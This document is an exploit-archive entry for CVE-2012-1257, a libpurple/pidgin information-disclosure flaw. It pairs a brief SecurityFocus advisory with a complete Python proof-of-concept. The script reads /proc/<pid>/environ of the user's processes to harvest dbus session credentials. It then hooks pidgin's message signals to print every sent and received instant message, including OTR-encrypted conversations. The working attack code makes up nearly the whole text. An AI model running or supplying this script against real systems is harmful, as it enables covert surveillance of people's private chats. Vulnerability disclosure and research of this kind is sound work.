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source: https://www.securityfocus.com/bid/52175/info libpurple is prone to an information-disclosure vulnerability. Successful exploits may allow attackers to obtain potentially sensitive information that may aid in other attacks. The following products are vulnerable: libpurple versions prior to 2.10.1 pidgin versions prior to 2.10.1 pidgin-otr versions prior to 3.2.0 #!/usr/bin/env python # PoC for snooping on pidgin discussions (OTR/non-OTR) via dbus # (see CVE-2012-1257) # # requires python-dbus and python-gobject # # based on sample code found here: # http://developer.pidgin.im/wiki/DbusHowto # # Disclaimer: There's virtually no error handling here, # so don't rely on this for any serious work. # # Author: # Dimitris Glynos :: { dimitris at census dash labs dot com } import dbus, gobject, os, sys from dbus.mainloop.glib import DBusGMainLoop # same owner processes get to snoop their respective DBUS credentials # via /proc/<pid>/environ def obtain_dbus_session_creds(): all_pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] env_tmpl = '/proc/%s/environ' session_creds = {} for pid in all_pids: if not (os.stat(env_tmpl % pid).st_uid == os.getuid()): continue if not os.access(env_tmpl % pid, os.R_OK): continue f = open(env_tmpl % pid, 'rb') contents = f.read() f.close() for var in contents.split('\0'): if var.startswith('DBUS_SESSION_BUS_ADDRESS='): val = var[var.index('=')+1:] if not session_creds.has_key(val): session_creds[val] = 1 return session_creds def recvs(account, contact, msg, conversation, flags): print "received '%s' from %s" % (msg, contact) def sends(account, contact, msg, conversation, flags): if flags == 1: print "sent '%s' to %s" % (msg, contact) if not os.environ.has_key('DBUS_SESSION_BUS_ADDRESS'): creds = obtain_dbus_session_creds() if len(creds.keys()) == 0: print >> sys.stderr, ( "error: no dbus session " + "credentials could be recovered." ) sys.exit(1) if len(creds.keys()) > 1: print >> sys.stderr, ( "error: multiple dbus session " + "credentials found!\nPlease rerun with the proper "+ "DBUS_SESSION_BUS_ADDRESS env variable\n" + "Here are the recovered credentials:\n") for k in creds.keys(): print >> sys.stderr, "DBUS_SESSION_BUS_ADDRESS=%s" % k sys.exit(1) os.environ["DBUS_SESSION_BUS_ADDRESS"] = creds.keys()[0] dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) bus = dbus.SessionBus() bus.add_signal_receiver( recvs, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="ReceivedImMsg" ) bus.add_signal_receiver( sends, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="WroteImMsg" ) mainloop = gobject.MainLoop() mainloop.run() |
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